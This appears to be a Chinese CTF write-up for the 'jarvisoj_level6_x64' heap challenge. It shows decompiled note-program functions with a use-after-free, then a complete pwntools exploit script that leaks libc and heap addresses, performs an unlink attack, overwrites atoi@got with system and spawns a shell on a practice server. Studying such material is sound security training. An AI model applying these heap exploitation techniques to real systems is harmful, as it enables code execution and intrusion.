jarvisoj_level6_x64

jarvisoj_level6_x64

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

64位,没开pie

在程序开始的时候,建了一个chunk,用于存放申请chunk的指针,size和flag值(检测用)

int ADD()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  void *v4; // [rsp+18h] [rbp-8h]

  if ( *(_QWORD *)(BSSPTR + 8) < *(_QWORD *)BSSPTR )
  {
    for ( i = 0; ; ++i )
    {
      v0 = *(_QWORD *)BSSPTR;
      if ( i >= *(_QWORD *)BSSPTR )
        break;
      if ( !*(_QWORD *)(BSSPTR + 24LL * i + 16) )
      {
        printf("Length of new note: ");
        v3 = READ();
        if ( v3 > 0 )
        {
          if ( v3 > 4096 )
            v3 = 4096;
          v4 = malloc((0x80 - v3 % 0x80) % 0x80 + v3);
          printf("Enter your note: ");
          READ_((__int64)v4, v3);
          *(_QWORD *)(BSSPTR + 24LL * i + 16) = 1LL;
          *(_QWORD *)(BSSPTR + 24LL * i + 24) = v3;
          *(_QWORD *)(BSSPTR + 24LL * i + 32) = v4;
          ++*(_QWORD *)(BSSPTR + 8);
          LODWORD(v0) = puts("Done.");
        }
        else
        {
          LODWORD(v0) = puts("Invalid length!");
        }
        return v0;
      }
    }
  }
  else
  {
    LODWORD(v0) = puts("Unable to create new note.");
  }
  return v0;
}

add这里,只能申请到最小是0x80大小的chunk,但是在写入content的时候,必须写满

int DELE()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( *(__int64 *)(BSSPTR + 8) <= 0 )
    return puts("No notes yet.");
  printf("Note number: ");
  v1 = READ();
  if ( v1 < 0 || v1 >= *(_QWORD *)BSSPTR )
    return puts("Invalid number!");
  --*(_QWORD *)(BSSPTR + 8);
  *(_QWORD *)(BSSPTR + 24LL * v1 + 16) = 0LL;
  *(_QWORD *)(BSSPTR + 24LL * v1 + 24) = 0LL;
  free(*(void **)(BSSPTR + 24LL * v1 + 32));
  return puts("Done.");
}

dele这里有个uaf,用于存放chunk的指针没有置零

int sub_400D87()
{
  __int64 v1; // rbx
  int v2; // [rsp+4h] [rbp-1Ch]
  int v3; // [rsp+8h] [rbp-18h]

  printf("Note number: ");
  v3 = READ();
  if ( v3 < 0 || v3 >= *(_QWORD *)BSSPTR || *(_QWORD *)(BSSPTR + 24LL * v3 + 16) != 1LL )
    return puts("Invalid number!");
  printf("Length of note: ");
  v2 = READ();
  if ( v2 <= 0 )
    return puts("Invalid length!");
  if ( v2 > 4096 )
    v2 = 4096;
  if ( v2 != *(_QWORD *)(BSSPTR + 24LL * v3 + 24) )
  {
    v1 = BSSPTR;
    *(_QWORD *)(v1 + 24LL * v3 + 32) = realloc(*(void **)(BSSPTR + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);
    *(_QWORD *)(BSSPTR + 24LL * v3 + 24) = v2;
  }
  printf("Enter your note: ");
  READ_(*(_QWORD *)(BSSPTR + 24LL * v3 + 32), (unsigned int)v2);
  return puts("Done.");
}

edit这里,正常修改就可

int SHOW()
{
  __int64 v0; // rax
  unsigned int i; // [rsp+Ch] [rbp-4h]

  if ( *(__int64 *)(BSSPTR + 8) <= 0 )
  {
    LODWORD(v0) = puts("You need to create some new notes first.");
  }
  else
  {
    for ( i = 0; ; ++i )
    {
      v0 = *(_QWORD *)BSSPTR;
      if ( (int)i >= *(_QWORD *)BSSPTR )
        break;
      if ( *(_QWORD *)(BSSPTR + 24LL * (int)i + 16) == 1LL )
        printf("%d. %s\n", i, *(const char **)(BSSPTR + 24LL * (int)i + 32));
    }
  }
  return v0;
}

show这里的话,会通过flag值是否show,

思路

使用show函数泄露libc和heap地址,然后unlink

改got,atoi@got – > system – > /bin/sh

from pwn import*
from Yapack import *
libc=ELF('libc-2.23.so')

r,elf=rec("node4.buuoj.cn",26703,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')

add(0x80,b'a'*0x80)
add(0x80,b'a'*0x80)
add(0x80,b'a'*0x80)
add(0x10,b'a'*0x10)
dele(0)
dele(2)
#这里是为了防止堆合并,用于泄露libc和heapbase
add(0x8,b'a'*0x8)
add(0x8,b'b'*0x8)
show()
ru(b'a'*8)
heap=u64(r.recv(3).ljust(8,b'\x00'))-0x1940+0x30
leak=get_addr_u64()-88-0x10-mallochook()
sys=p64(system(leak))
li(heap)
li(leak)
dele(0)
dele(1)
dele(2)
dele(3)
#debug()

pl=p64(0)+p64(0x110)+p64(heap-0x18)+p64(heap-0x10)
add(len(pl),pl)
pl=b'a' * 0x80 + p64(0x110) + p64(0x90) + b'A' * 0x80 + p64(0) + p64(0x91) + b'a' * 0x80
add(len(pl),pl)
#这里看下面图图,利用uaf和unlink,进入到chunk1,改指针了,改got
dele(2)
pl=b'a' * 8 + p64(1) + p64(8) + p64(elf.got['atoi'])
edit(0,len(pl),pl)
li(leak)
edit(0,len(sys),sys)
sl(b'/bin/sh\x00')
#debug()
ia()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值